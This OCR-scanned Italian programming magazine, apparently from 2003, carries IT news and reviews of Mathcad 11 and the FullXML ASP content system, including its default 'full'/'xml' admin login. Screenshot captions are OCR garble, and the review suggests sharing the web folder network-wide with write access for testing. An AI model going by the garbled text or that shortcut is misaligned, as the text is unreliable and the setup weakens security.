Windows con C++Builder Studio.
Per .Net, sono disponibili ora i frutti del
cosiddetto Project Sidewinder, un
ambiente di sviluppo basato sul lin-
guaggio C#.
Tool diversi anche per la fase di deploy-
ment: l'application server Borland
Enterprise Server, il database Java "leg-
gero" JDataStore, VisiBroker per l'am-
biente Corba e il database InterBase.
www.borland.it
Ripartono
li ObjectWay
ducation Day
Un'occasione per chi vuole
tenersi aggiornato sulle più
avanzate tecniche di
programmazione
ObjectWay S.p.A. società di
consulenza e formazione IT,ha
presentato il nuovo calendario eventi:
ObjectWay Education Day. Le giornate
formative, rivolte a figure di Project
Manager, Architetti, Sviluppatori, e
Amministratori di rete, si svolgeranno
a Milano e Roma fino alla fine di
giugno e saranno focalizzati sui vari
ambiti di competenza di ObjectWay.
In particolare in area UML, J2EE, .NET,
Web Services, Processo Unificato,
Linux, SQL e Oracle database. "L'idea
di realizzare delle giornate formative
specialistiche è dettata dall'attenzione
che da sempre ObjectWay University
dedica ai bisogni e alle necessita' della
propria clientela. Il riconoscimento
datoci dai clienti (Banca Sella,
Ericsson, Banca Popolare di Milano,
per citare alcuni dei più importanti ) è
legato ai contenuti proposti nei nostri
corsi, che risponde esattamente alle
loro necessità perchè provati in
10 ►►► M a g g
3
http:// www. itportal.it
w
w
svariati progetti a livello nazionale."
commenta Elena Baldi, Sales Manager
Education.
http://www.objectway.it/events/EducationDays03
/default, htm
XML è troppo difficile!
Troppo complesso per i
programmatori, secondo uno
degli autori
Tini Bray, uno degli autori delle
specifiche originarie di XML 1 .0 ha
recentemente dichiarato in una nota
sul suo sito di non essere pienamente
soddisfatto di XML, spiegando come la
sua ultima esperienza di scrittura di
codice per la modifica di XML sia stata
"irritante, dispendiosa in termini di tempo
e incline a errori. La comunità tecnica è
divisa su XML, mentre la comunità anti-
XML ha a disposizione numerosi siti per
manifestare le loro posizioni..."
www.tbray.org
Microsoft lascia
il tavolo dei Web
Services all'interno
del W3C
Disaccordi insanabili
potrebbero sancire la fine di
un sogno
Nei mesi passati IBM e Microsoft si
sono scontrate più volte con gli altri
partecipanti al gruppo di lavoro sui Web
Services interno al Wide Web Consortium
(W3C). I due giganti erano stati accusati
di voler esercitare una influenza eccessi-
va sulle linee guida degli standard, al
punto che IBM non è mai entrato nel
gruppo del W3C. Microsoft ha posto fine
alla querelle andando via e sbattendo la
porta. Va ricordato che Microsoft era
stata fra i fondatori del gruppo ed erano
state proprio le sue ricerche nel campo
dell'interoperabilità fra applicazioni a
dare il "la" allo sviluppo dei Web
Services. Microsoft, IBM e BEA avevano
già scritto le loro specifiche per i Web
Services, ma non erano ancora state sot-
toposte al vaglio del W3C.
Microsoft fa sapere che il W3C non è l'u-
nica sede in cui potersi accordare sugli
standard. Questa vicenda segna comun-
que una brutta battuta d'arresto per l'a-
vanzata dei Web Services come piattafor-
ma standard per lo sviluppo di applica-
zioni sistribuita.
Sun chiede
l'integrazione delle
specifiche per Java
Sun promette una riduzione
dei costi di sviluppo per web
service basati sulle
specifiche JBI
Sun Microsystems ha lanciato una
proposta alla Java Community
Process per l'adozione di uno standard
che permetterà di ridurre i costi di
sviluppo per web services basati su
Java. Secondo l'azienda, l'adozione
delle Java Business Integration
specification (JBI) permette agli
sviluppatori di integrare e di
sviluppare web services in maniera
facile, attraverso l'implementazione di
un'architettura pluggable open-ended.
JBI, un container di sviluppo per
l'integrazione business, incorpora
l'integrazione a numerosi standard
industriali e ad elementi proprietari
attraverso l'uso di interfacce
standardizzate. Secondo Mark
Bauhaus, vice presidente di Sun Java
Web Services, "Questa architettura di
integrazione può aiutare gli sviluppatori
ad una più veloce, facile e poco costosa
integrazione del business e dei sistemi
legacy, integrandoli ed eseguendoli in
maniera virtuale dappertutto" .
www.sun.com
sun.CDir HowTDBuvlwvajn -'«11*03 ììes bearsi- Q
1 ^^^^i^Bt- fl| -*■ P ! 'oducts Si Services
Sun Developer Network
n M
JavaOne'^^H
-*Key Resources -»Products and Technology
m s ..
Related
jWiblavaWebSerwtes
Su,, OHE Application
VOLASMS ACTIVEX 2.0
GTN, ha di recente
annunciato la nuova release
di VolaSMS ActiveX 2.0,
l'ambiente di
programmazione che
sviluppa applicazioni che
inviano e ricevono SMS
Rilasciata la nuova versione, destinata
a software house e programmatori,
dell'ambiente di programmazione che
consente di inserire, con sorprendente
rapidità ed efficienza, funzioni di invio
SMS in applicazioni create con la maggior
parte dei linguaggi di programmazione.
La versione 2.0 introduce la nuovissima
funzione di AutoResponder per i messag-
gi ricevuti: al semplice ricevimento di un
SMS, il server risponde al mittente con il
messaggio predefinito il cui testo può
essere gestito direttamente dall'applica-
zione creata con VolaSMS ActiveX. Tra le
caratteristiche che contraddistinguono la
nuova versione da quella precedente si
evidenzia un netto miglioramento del
supporto Proxy/ Firewall, perfettamente
compatibile con la gestione Proxy di
Internet Explorer versione 5.0 o superiore.
E stata, inoltre, migliorata la libreria degli
errori di run-time, rendendoli più com-
prensibili al contesto e viene garantita la
piena compatibilità del linguaggio con la
versione 6.0 di Delphi. Il programma di
setup di VolaSMS ActiveX 2.0 è stato
migliorato e soprattutto alleggerito rag-
giungendo il "peso" di soli 665 Kb.
VolaSMS ActiveX è un componente com-
patto e versatile, che consente a software
scritti in vari ambienti di programmazio-
ne, tra cui Visual Basic, Visual C++,
Access, Delphi, di inviare SMS utilizzan-
do l'efficiente gateway Vola.it di GTN.
VolaSMS ActiveX rappresenta una solu-
zione efficace anche in tutte le applicazio-
ni web based in ambiente Microsoft US.
http://www.vola.it
http:// www. itportal.it
M
9 9
3 ►►► 11
w
w
Intel Centrino
per Linux
Intel svela i piani per il
supporto del suo processore
Centrino su piattaforma
Linux.
I laboratori Intel non hanno ancora
terminato la fase di test per rilascio
di un supporto Linux al processore
Centrino, il chip in bundle che include
un processore Pentium M, denominato
Banias, e un chip dedicato alle
comunicazioni wireless. Per il
supporto delle caratteristiche su
piattaforma Linux, Intel ha intenzione
di mettere a disposizione della
comunity Open Source gli opportuni
driver. "Intel ha testato Linux su un
sistema mobile basato su tecnologia
Centrino nei suoi laboratori" , ha
rivelato Scott McLaughlin, portavoce
dell'azienda, aggiungendo: "I tempi di
rilascio e le caratteristiche finali si
baseranno sulla domanda degli utenti,
ma -prevediamo il completo supporto di
Centrino su Linux" . Ricordiamo che
Intel è tra gli investitori di Red Hat, ha
lavorato per assicurare il supporto di
Linux per i processori in arrivo. La
rivale AMD (Advanced Micro Devices)
ha fatto lo stesso, e conta di
completare il supporto alla
piattaforma Linux per fare in modo
che gli utenti di questa piattaforma
possano avantaggiarsi dei benefici
derivanti dalle caratteristiche del suo
nuovo processore Opteron a 64bit.
I driver saranno rilasciati in accordo
con la General Public License (GPL),
per essere utilizzati e modificati da
tutti gli utenti.
www.intel.com
Eutron Picodisk Tech
È il nuovo dispositivo USB
compatto e portatile in grado
di contenere fino a 256 MB di
dati formattati come su un
normale hard disk.
Abbandonando l'utilizzo dei floppy,
e' ora possibile gestire qualsiasi tipo
di file in lettura e scrittura direttamente
su Picodisk Tech; e' sufficiente inserire il
dispositivo nella porta USB del compu-
ter e un nuovo disco sarà subito disponi-
bile elencato tra le risorse del sistema.
Un utile dispositivo per la
Memorizzazione e il trasferimento di
dati multimediali, l'archiviazione e il
successivo utilizzo di dati contabili, file
CAD, Word, Excel, immagini, MP3 ecc.
trasferimento di dati tra PC Desktop,
Notebook, Mac.
Il prodotto PicoDisk è attualmente
disponibile in quattro modelli:
• PicoDiskTech, realizzato al 100% in
territorio italiano
• PicoDiskCrypto, l'unico disponibile
sul mercato con crittografia AES, PIN
e PUK di protezione
• PicoDiskEasy, driverless e con capa-
cità fino a 1GB
• BioPico, con riconoscitore biometrico
dell'impronta digitale per il controllo
dell'accesso ai dati
Caratteristiche:
• Capacità: versioni disponibili da 64-
128-256 MB.
• Dimensioni ridotte: 64x15x7 mm.
• Portabilità: Non sono necessari cavi o
batterie di alimentazione.
• Semplicità di utilizzo: Plug&Play sulla
porta USB.
• Affidabilità: riscrivibile fino a 1 milio-
ne di volte, mantiene fedele il conte-
nuto fino a 10 anni
• Funzionante su sistemi
Windows / MAC / Linux
http://www.eutron.it
Waitec DVD- HT60
Un nuovo DVD Player in casa
WAITEC: sintonizzatore
stereo AM/FM integrato e
sistema Dolby Sourround
5.1, impossibile resistergli
Il nuovissimo WAITEC DVD-HT60 è un
sistema DVD completo di sistema AC3
& Dolby Sorround 5.1 amplificato per
una potenza totale di 120 Watt ripartiti
su 6 speakers (4 satelliti, un centrale ed
un sub woofer) forniti in dotazione.
Tre le funzioni interessanti di questo
prodotto troviamo un sintonizzatore
stereo AM/FM che permette di ascoltare
e memorizzare le stazione radiofoniche
preferite oltre alla compatibilità verso
tutti i formati audio CD e Mp3.
kniji
DVD-HT60 di WAITEC è inoltre dotato
anche di un telecomando leggero,
completo e di semplice utilizzo.
Grazie al prezzo estremamente
concorrenziale, questo DVD receiver
spingerà sicuramente gli appassionati di
film a riflettere sull'enorme vantaggio di
poter vedere, comodamente in poltrona a
casa propria, un film con gli stessi effetti
cinematografici, il tutto con un
investimento economico davvero
irrisorio.
Anche il DVD-HT60, come tutti i
prodotti WAITEC, è corredato dalla
consueta garanzia di 2 anni on-site,
assicurata dal sito www.waitec.it, nuovo
nella grafica e nei contenuti.
www.waitec.it
12*** M
9 9
3
http:// www. itportal.it
► ► ► ► ► ► ► ► ► ► ► IL SOFTWARE SUL CD
»II Software
di ioProgrammo
Mathcad 11 _
Una soluzione completa per la ricerca e la documentazione in ambito matematico
Mathcad rappresenta da anni uno dei
più diffusi software per il calcolo
scientifico, utilizzato in tutto il mondo e a
tutti i livelli. Coniugando semplicità e po-
tenza, Mathcad si pone a metà strada fra un
programma di calcolo ed un word processor
orientato alla produzione di testi scientifici.
Le funzioni sono dunque tantissime ma,
grazie ad un approccio sicuramente indovi-
nato, anche i nuovi utenti riescono subito ad
essere produttivi. Basta cominciare a digita-
re qualche formula per entrare in confiden-
za con il tool: possiamo posizionare il curso-
re su qualsiasi punto della pagina e, una vol-
ta scritta una equazione, la vedremo "vive-
re" sotto i nostri occhi! Le formule, che si rie-
scono a scrivere proprio come faremmo con
un foglio di carta ed una penna, non sono
quindi delle semplici scritte ma tengono
conto dei valori assegnati, istante per istan-
te, alle variabili presenti nelle formule stesse.
Mathcad consente dunque la risoluzione sia
numerica che simbolica delle più complesse
equazioni. Aperto verso altre applicazioni
Grazie al pieno supporto per OLE 2, Math-
cad consente una forte integrazione con altre
applicazioni Windows: particolarmente for-
te è il legame con Autocad ed Excel. Il lavo-
ro congiunto con Excel può essere davvero
esaltante, se si pensa alla visualizzazione di
formule in modo leggibile (e non come una
astrusa successione di parentesi!) e alla pos-
sibilità di generare grafici di livello assoluta-
mente professionale. Tra le funzionalità me-
glio costruite di Mathcad si possono anno-
verare i numerosi formati grafici disponibili
che possono essere arricchiti di numerosi ef-
fetti, tutti utilissimi alla migliore compren-
sione della funzione rappresentata. La flessi-
bilità e la ricchezza di elementi non vanno a
discapito della semplicità di utilizzo: chiun-
que può ottenere risultati eccellenti in pochi
minuti. In particolare, le funzioni di nebbia e
di prospettiva riescono a rendere in modo
esemplare l'effetto di tridimensionalità della
figura, così come la possibilità di posiziona-
re un numero indefinito di punti luce rende
possibile la visualizzazione di grafici anche
molto complessi.
f[x,y):=4-x
A:=
A= 24.019 1|
Fig. 3: Integrali doppi: un esempio di
risoluzione numerica.
RISOLUZIONE
SIMBOLICA E NUMERICA
La risoluzione di espressioni matematiche è
2 2
ffx,y) := 4 - x - y
4 -+0 -30 -20 -10 "
sempre stato uno dei cavalli di battaglia di
Mathcad. In questa nuova versione è stato
migliorato il trattamento per le equazioni al-
le differenziate parziali, così come è stata
estesa la compatibilità con i numeri com-
plessi anche nelle funzioni di comparazione.
Sia nella scrittura delle equazioni, che nel
momento della risoluzione, quello che colpi-
sce è la piacevole sensazione di essere "assi-
stiti" nel proprio lavoro: Mathcad riesce in-
somma ad essere un compagno fedele nelle
nostre peripezie matematiche. Estrema cura
è stata inoltre dedicata al calcolo marciale: la
semplicità nella immissione dei dati e la pos-
sibilità di collegare gli stessi a fonti esterne
(sono supportati nativamente gli strumenti
di misura della National Instruments) si
sposano ad una notevole ricchezza di stru-
menti di analisi. Abbiamo già detto che
Mathcad si presenta come strumento ideale
per la impaginazione di pubblicazioni scien-
tifiche e, il pieno supporto per il formato
Word è una prova della flessibilità del tool.
Inoltre, Mathcad permette di pubblicare di-
rettamente su Web, come pagina HTML, i ri-
sultati delle nostre ricerche. Questa funzio-
ne, unita alla tecnologia proprietaria Math-
ML, oltre alla semplice visualizzazione, con-
sente una vera e propria condivisione dei
documenti che, una volta pubblicati, posso-
no ancora essere riutilizzati e modificati a
distanza, semplificando così il lavoro in
team. In ogni caso, non siete costretti a fi-
darvi delle nostre paroleO), potrete decidere
da soli e con calma se Mathcad fa al caso vo-
stro: installate il pacchetto che trovate nel
CD, e avrete trenta giorni di tempo per va-
lutarne la bontà.
Fig. 1: La stessa funzione può essere rappresentata in più grafici contemporaneamente.
Mathcad 11
Produttore: Mathsoft
www.rnathsoft.com
Distribuito in Italia da: GMSL S.r.l.
www.gmsl.it
Prezzo: per singola licenza C 1.000,00
Licenza educational C 499,00
File sul 1° CD: \Mathcad
http ://www.itport al.it
9 9
3 ►►► 13
F T W A
FullXML
il Content Management Open Source
Fullxml è un software Open Source, rilasciato con licenza GPL, per
il Content Management, scritto interamente in ASP e basato su
XML. In questa review vedremo come installarlo e cominciare a crea-
re un proprio sito grazie all'ottima consolle di amministrazione.
Il progetto è stato varato nell'Ottobre del 2001; attualmente, dal sito
Internet di John Roland, creatore del progetto, è possibile scaricare la
versione 2.3 beta, mentre l'ultima versione stabile è la 2.0.5. È a
tu tt' oggi pianificata una versione 3 le cui novità più rilevanti saran-
no un nuovo formato XML per il miglioramento delle performance
ed il supporto ai più comuni database (MySQL, Access e SQL Server).
Secondo le parole di John Roland, Fullxml è un Web Portai System
istantaneo. L'obiettivo è quello di avere un sito Web che automatizzi
la distribuzione di notizie e contenuti. Le principali caratteristiche
del sistema comprendono: amministrazione basata su interfaccia
Web, possibilità di inserire sondaggi, statistiche di accesso con con-
tatore delle visite (funzionalità per la quale abbiamo constatato,
però, dei bug come descritto nel paragrafo "La procedura di installa-
zione"), box personalizzabili dall'utente, un manager dei temi grafi-
ci, una GUI "amichevole" per l'amministrazione, un sistema di mo-
derazione dei contenuti, una pagina che permette di registrare i Re-
ferrers (siti che inseriscono un link al nostro), un motore di ricerca, la
possibilità di registrare utenti ed autori dei contenuti. Fullxml è scrit-
to per l'80% in XSL e per il 20% in ASP e non viene richiesto il sup-
porto per alcun database, dato che tutte le informazioni vengono re-
gistrate in file XML: senz'altro una caratteristica di rilievo a favore
della portabilità della soluzione, a dispetto di quel 20% di codice pro-
prietario Microsoft.
Molto nutrita la schiera delle localizzazioni, dall'inglese, al francese,
al cinese, al croato, al vietnamita, al russo... passando naturalmente
per una localizzazione in italiano. Fra le componenti opzionali, me-
rita una nota almeno JMail (prelevabile dalla sezione di download
del sito), un plug-in che rende possibile l'invio e la ricezione di e-
mail direttamente dal sito senza la necessità di utilizzare un client di
posta elettronica come Eudora, Exchange o Outlook. È disponibile
una versione speciale di Fullxml compatibile con l'offerta gratuita di
hosting di Brinkster (http://ioivw.brinkster.comf), che mi permetto di
giudicare il miglior servizio di hosting gratuito di pagine ASP pre-
sente sul mercato.
La sezione di troubleshooting del sito Fullxml.com (http://wiow.ful-
lxml.com/default. asp?id=ll&mnu=ll) ci informa inoltre di problemi le-
gati al limite massimo di 102,399 byte per i campi di una form (pro-
blema peraltro ben noto dal sito di supporto della Microsoft) e a pos-
sibili messaggi di errore utilizzando JMail.
LA PROCEDURA DI INSTALLAZIONE
In linea di principio, si pensava che l'installazione fosse quanto di
più semplice al mondo: scompattare il file Fullxml beta 23.zip sca-
ricato dal sito sotto C:\Inetpub\wwwroot, e caricare nel proprio
browser la pagina default. asp... Eseguendo questa procedura, otte-
niamo, voilà!, la pagina di errore mostrata in Fig. 1. Un rapido esa-
me del codice che generava l'errore ed una visita alle FAQ del sito
File Modifica > enti Strumenti
\*\ \É 5» | P Cerea ^Preferiti ^Multimedia | g- ^ g J ^ *j
Indirizzo |s] http://localhost/Fullxml%20beta7o2Q2.3/default.a
Impossibile visualizzare la pagina
Si è verificato un problema a livello 4~i\à "■■-;-.::",a che si desidei
Please try the follo wing;
• Fare clic sul pulsante Aaaiorna o
riprovar
più tardi.
■ Aprire la localhost home oaae e
arcare i
collegamenti alle
inr o :-:-!-, ,-s?:of:: ■:! s S : d ■■ i •-'■' s .-..
HTTP 500.100 - Errore interno del serve
r - error
5 ASP
Internet Information Services
li tecniche (per il pei
a del supporto tecnico)
Tipo di errore:
Oggetto Server, ASP 0177 (0x8O0401F3)
Stringa dell'interfaccia non valida.
/Pulitemi beta 2.3/Engine/xmlfunctions.asp, line 15
Tipo di browser:
Mozilla/4.0 (compatitile; MSIE 6.0; Windows NT 5.1j
Q312461)
Fig. 1: Fullxml richiede qualche opzione di configurazione
preliminare...
ci ha permesso di appurare che era necessaria qualche operazione
preliminare. In primo luogo, l'installazione del Microsoft XML
Parser 4.0, scaricabile da http://msdn.microsoft.com/downloads/de-
fault.asp?url=/downloads/sample.asp?url=/msdn-files/027/001/766
/msdncompositedoc.xml, sulle cui classi Fullxml si basa per la crea-
zione dei file XML che costituiscono i vari archivi. Si è verificato il
corretto funzionamento con la versione in inglese del Microsoft
XML Parser 4.0, a dispetto del fatto che il sistema operativo (Win-
dows XP Professional) fosse in italiano. Una seconda pagina di er-
Generale Condivisione | Condizione Web | Personalizza |
ì locale e protezione —
Per condividere questa cartella con gli ajtri utenti dej
computer., trascinarla nella cartella \
Per rendere questa cartella e le relative sottocartelle
private per l'accesso esclusivo, selezionare la seguente
V Rendi la cartella privata
Condivisione di rete e protezione'
J Per condivìdere la Gaitella con gli utenti di rete e gli altri
j_i j utenti del computer, selezionare la prima casella e
immettere un nome di condivisione.
|7 Condividi la cartella in rete
Nome condivisione: iFullwmlbeta 2.3
W Consenti agli utenti di rete di modificare i file
Ulteriori informazioni su
Fig. 2: E necessario attribuire i permessi di lettura/scrittura alle
directory del sito.
14 ►►► M a g g
3
http ://www.itport al.it
F T W
rore, questa volta generata dal programma e dal maggiore conte-
nuto informativo, ci ha informato che era necessario impostare i
permessi di lettura /scrittura sulle cartelle Db e Media. Per chi si
trovasse ad operare con Windows XP, il modo più veloce e sempli-
ce per abilitare i permessi (almeno per un'installazione di test) con-
siste nel condividere direttamente l'intera cartella che ospita il si-
to: click col tasto destro, dunque, sulla cartella stessa (che, lo ricor-
diamo, deve essere posta sotto C:\Inetpub\wwwroot, ovvero in ese-
cuzione sotto US), comando Condivisione e Protezione..., e, nella
scheda Condivisione, applicare il segno di spunta alle voci "Condi-
vidi la cartella in rete" e "Consenti agli utenti di rete di modificare ifile"
(Fig. 2). Dopo queste operazioni preliminari, caricando nel brow-
ser la pagina http:jjlocalhostlFidlxmlBeta_23jdefault.asp, abbiamo fi-
nalmente la Home Page del nostro sito (Fig. 3).
Q,.di,„. - p S @ «SI; '•*- ti'
>•"" «J— •
» €> 1 0- èj b • U © -lì
..»,„. . h»,:»l.„lh.«„.ll,.l-,. 2 .b,„-,.202.»d,„.l,.„
la-
^legamenti »
Iyour ÌFullxml website
<£ullXML/>
the free xml/asp w
elusiti e rr
^
home
sr™-°
f
H^^^^
1
1 ■
100% r Yes
VOTE! |
ite, P-Oduct.
Mairi article:
s; ;:; s =;;„■"£•.";- ;t„;t; ■— ■ - "' - '-■-
Fig. 3: La Home Page del sito di test.
Esaminando la Home Page notiamo, ahimè, già un primo bug nel
programma: segnalare due visitatori per la pagina di test è sicura-
mente indice di una non perfetta gestione delle sessioni.
IL CONTENT MANAGEMENT DEL SITO
Siamo pronti per collegarci alla pagina di amministrazione (Fig.
4), utilizzando lo Username "full" e la password "xml": natural-
mente, come consiglia il sito stesso, è opportuno modificare que-
sti valori di default. Nel momento in cui ci logghiamo con que-
ste credenziali, un messaggio di warning ci avvisa che siamo au-
tenticati col ruolo di amministratore, e che finché utilizziamo
questo account di default chiunque è in grado di modificare i
contenuti del nostro sito. Clicchiamo su uno dei quadrati rossi,
ognuno dei quali è relativo ad uno dei template che compongo-
no la pagina, ad esempio quello a lato del sondaggio (Survey), o
in alternativa il link Administration: si aprirà la consolle di am-
ministrazione vera e propria (Fig. 5), tramite la quale è imme-
diato cambiare il nome del sondaggio, le pagine in cui compare,
la posizione nelle pagine e le domande che costituiscono il son-
daggio. Dalla sezione Tutorials (http://wivzv.fullxml.com/default
.asp?id=5&mnu=5) apprendiamo come creare una nuova skin per
il sito: occorre, anzitutto, creare una sottocartella nella cartella
"skins", il cui nome sarà anche il nome della nuova skin. Occor-
re poi scaricare il file http://www.fullxml.com /media /downloads
/skins/newskin.zip ed estrarlo nella cartella testé creata. Ci trove-
remo di fronte a due file: page.xsl che contiene la struttura della
pagina ed il foglio di stile, e skin.xsl nel quale verrà memorizza-
to il design di ogni parte del sito. E possibile editare questi file,
per poi modificare l'HTML delle pagine in modo da adattarsi al
nuovo design. Per quel che riguarda la modifica dei template
contenuti nel file skin.xsl, si faccia riferimento alla sezione Tuto-
rials per il loro elenco. Nella consolle di amministrazione occor-
re poi cliccare sull'icona Settings, nel gruppo Main, e cambiare il
valore della skin al nome che abbiamo dato alla cartella. Ora che
cominciamo a prendere confidenza con la consolle di ammini-
strazione, è il momento di provare a fare qualche modifica al si-
to di esempio.
File Modifica Visualizza Preferiti Strumenti ?
^Indietro • Q - [^1 L*] 5 /'cerca «^Preferiti ^Multimedia g- gj __ " □ & ■"-$
! dr^o ■■■ . ■■ .■ . ■ .■ ' ■ . . ■ :~~;m^~*i
__ Website Ad ministrato r
Main
% Surveys manager
Add-ans
%-d
Survey name: sample survey
5urvey5
Associated webpage: |hOITie
3
Quotano ns
Position: | Lefl
3
m
Question: Ljke the new dfre j gri ?
Answer 1 y eg
Pitture:,
Vote : 1
m
Answer 2: Ua
Votes :
m
Ansner3: 1 doni care
Votes ;
Banner.
AnsM.e.4:
D g
Vote, :
Answer 5:
Direct or ies
@
Downloads
Moderatian
Votes :
OK | Cantei |
Delete |
5tats
Help
Operatone complete"?
La pagina di amministrazione del sito di test
Fig. 5: La consolle di amministrazione vera e propria, cuore del
nostro sistema di Content Management
Proviamo, ad esempio, a modificare la scrollbar delle News. Clic-
chiamo sul quadratino rosso a destra della stessa, per aprire la
voce relativa nella consolle di amministrazione. Nel form relati-
vo, andiamo a modificare il titolo associato alle News, ed il corpo
della notizia, espresso come HTML. Settiamo poi una data di
scadenza per la notizia stessa. Come è possibile notare dalla Fig.
6, queste semplici operazioni ci permettono di modificare in ma-
niera radicale il banner scorrevole delle notizie. Se poi proviamo
a modificare la data di sistema oltre il periodo di scadenza, sem-
plicemente l'intero "pezzo" di pagina che contiene il banner
scorrevole non verrà visualizzato... un sistema di Content Ma-
nagement che presta il fianco a ben poche critiche! Di passaggio,
notiamo come i codici HTML preimpostati siano fortemente
orientati alla visualizzazione con Internet Explorer: sarà compi-
to del content manager assicurare, se necessario, la compatibilità
cross-browser.
http ://www.itport al.it
9 9
3 ►►► 15
F T W A
■ « a.
u>
your Fullxml website
Fig. 6: Con poche e guidate modifiche nella consolle di
amministrazione abbiamo modificato radicalmente il banner
scorrevole delle News.
AGGIUNGERE UNA NUOVA PAGINA
AL SITO
Ora che cominciamo a capire la filosofia della consolle di ammi-
nistrazione, proviamo ad aggiungere una nuova pagina al no-
stro sito. All'uopo, clicchiamo sul link "Adi a page" che si trova
nel menu: proveremo così ad aggiungere una pagina facilmente
raggiungibile dalla Home Page.
Notiamo dalla consolle di amministrazione che le categorie im-
postate sono due, Menu e Member Area; accettiamo il default Me-
nu che ci viene proposto, mentre specifichiamo la Home Page co-
me "parent page" . Diamo un titolo alla pagina, e riempiamo il
campo "Edito" con il codice HTML che provvedere a visualiz-
zarla. La nostra attenzione viene attirata dalla voce "Show advan-
ced fields" presente nella finestra di Content Management; sco-
priamo un insieme di voci che ci permettono di specificare link
esterni per la pagina, il frame in cui verrà visualizzata, i margi-
ni, lo status per quel che riguarda la moderazione della pagina,
per citare solo le principali voci. Giusti gli obiettivi di un buon
sistema di Content Management, è presente una voce "Publica-
tion" che indica se la pagina verrà pubblicata sul sito, o se andrà
aggiunta all'elenco delle pagine, senza pubblicarla, per ulteriori
revisioni. In ogni momento è possibile visualizzare l'elenco e lo
stato delle pagine cliccando sulla voce "Pages" nella scheda Main
della consolle di amministrazione. Impostiamo a "Yes" la voce
Publication; se necessario, anche qui possiamo impostare una da-
ta di scadenza oltre la quale la nostra pagina non verrà visualiz-
zata.
1 e
Qlnd,e,,o -Q-gg i\, Cerca ■{, P-efent, ^ .dt.med.a ^ | - ^ gj
- D * *
Indirizzo httpif/lQcdhost/FullxmlBeta 2.3AleFault.asp?Aa=15SECT=M2
-IH» I~j
menti »
{jìJ Website Administrator
-
Main 1 1 rf^\ i a i 1 n 1 ■ ■ i
W
km Id Pacetitle Cateao-v
«■«w «p r me MENU
m
a
3J ; |/w^^<*"" el -^H'J#-a
Jn|x|
*
■ '
/FullxmlBeta_2.3/default.a 5 p?id-2f m nL-l
zia»
Collegamenti »
IyoueI Fuflxml website
fullXML/>
i
the f ree xml/c
sp website m.
=j
home > Articolo su Fullxml per ioProgrammo B
p^^fo'r'
||S; SIS 5! SI .,-." §§| "■ .-.
r'°
BQBQSHx,
Rnì^i,'si"tS,7Si'iim;"',sssS
-".■..
; ,SSi"„" ~ ' , : ■ "■:
" ■ ::. '■■""■ .".:;■; .:::: : '■" '" '.'■■: : ' v:.::::"::\:U:::\:~":~::., ■'■ ■
™ì"o di
;'„°S:™i n ì'
ssaggi
Fig. 8: La pagina appena pubblicata: in ogni momento, un clic
sul consueto quadratino rosso a lato del titolo ci permette di
tornare alla consolle di amministrazione onde modificare il
contenuto della pagina
Tornando alla Home Page del nostro sito, vediamo come è stata
aggiunta una voce di menu per la pagina appena creata, dalla
quale è possibile visualizzare la stessa (Fig. 8); un clic sul con-
sueto quadratino rosso a lato del titolo ci permette, in ogni mo-
mento, di tornare alla consolle di amministrazione onde modifi-
care il contenuto della pagina. Procediamo in maniera del tutto
analoga per aggiungere una pagina alla Member Area; questa
volta, scegliamo di visualizzare anche, nella pagina che andremo
a creare, la form di ricerca all'interno del sito e l'elenco delle pa-
gine più visitate o "Top Pages". Il risultato è mostrato in Fig. 9; si
notino la form di ricerca sulla sinistra e l'elenco delle pagine più
visitate sulla destra. Di passaggio, notiamo come le modifiche
testé apportate alla struttura del sito sono scritte nel file data.xml
all'interno della cartella Db: riportiamo in allegato a questo arti-
colo il codice a questo punto contenuto in tale file affinché ci si
possa rendere conto della struttura dei dati memorizzati.
Fig. 7: In ogni momento è possibile visualizzare l'elenco e lo
stato delle pagine cliccando sulla voce "Pages" nella scheda
Main della consolle di amministrazione.
Fig. 9: Abbiamo aggiunto una nuova pagina alla Member Area: si
notino la form di ricerca sulla sinistra e l'elenco delle pagine più
visitate sulla destra.
IL CONTENT MANAGEMENT: ASPETTI
AMMINISTRATIVI
Dopo aver compreso come è possibile creare le pagine che com-
porranno il nostro sito, è giunto il momento di occuparsi degli
aspetti amministrativi. La voce "principe" in merito è la Settings
nella "solita" scheda Main (Fig. 10); è tramite Settings che impo-
stiamo l'URL del sito, i META tags, la messa in offline del sito per
le operazioni di maintenance, skin, lingua e codifica da utilizzare,
i loghi, lo stato di moderazione del sito, la lista degli add-on. Que-
st'ultima comprende banner, elenco degli iscritti, citazioni, gallerie
16 ►►► M a g g
3
http ://www.itport al.it
I L
SOFTWARE
SUL
C D
fc I JII!BBBMM!1«,IBB!!HI JBBBI
FKb Mgdifica Visuale Preferiti Strumenti ?
I j Indietro » - * ] Jl Ce
anulari, Qi | - . g ffl ■ _l ff .&
Indirizzo |~ http:/yio^jir3ji: l :f~iJ^mlBeta_2.3ydeFault,asp?ACT=l&SECT=Ml
fJ3 Website Ad ministrato r
Website settings
Website UP
L:
■ ■■ i
Site name: Fu Itomi weBsite
Slogan:
IPoweredtiyfultanl
META Title
FuIlKinl weDsite
META Keyw
1
iption:
1
Offline fot maintenance
|N„
il
Menu bar:
1»
il
Skin:
l« u
il
Language:
|E„„„ e
h (utf-8)
il
Encoding:
|utf-8
d
.ai
Fig. 10: La voce Settings della scheda Main permette di
impostare la maggior parte dei parametri globali relativi al
nostro sito.
di immagini, guestbook, forum, mappa del sito ed area di down-
load; ad ognuna di queste voci è poi riservata un'icona specifica
nella scheda Add-ons della consolle di amministrazione. E, inoltre,
da questa pagina che specifichiamo l'eventuale componente COM
per l'invio di e-mail: è possibile utilizzare ASPMail, ASPQmail,
ASPEmail, l'onnipresente CDONTS, SASmtpMail, o il già ricordato
JMail. La voce Upload fa uso della ben nota classe FileUpload
Object v2.6 per effettuare l'upload di file sul sito. Dalla scheda Ca-
tegories aggiungiamo nuovi menu per la barra di navigazione si-
nistra del sito, mentre in Contents (Fig. 11) possiamo organizzare i
vari frame che compongono il sito.
^jn|x|
1 sr
0'"*«™ -0- È! li '• \y cm ts'-'-" «*»*"><
e|'"
- £. B < J # £,
..d.,_ h l „ : ,,l.„ll,.«„.ll„l,.„j.»d.„.l l .,p..e,. 1 KC,. nS
da»
Collegamenti »
Q Website Administrator
-
Main
S Contents manager
9
m
u
.i..ih.......iii,i.rii, u „ m |Aiiin,„„,
___^l
^^^^T^^ ^^cSSS^^ i i Weboaae 1 Auhhor
full (full)
^lyhjujB
^T
J 2
^lUKU)
^e^
"■create^
Fig. 11: In Contents possiamo organizzare i vari frame che
compongono il sito.
L'icona Desktop consente, infine, di visualizzare alcuni parametri
riassuntivi e gestisce inoltre una task list nella quale è possibile or-
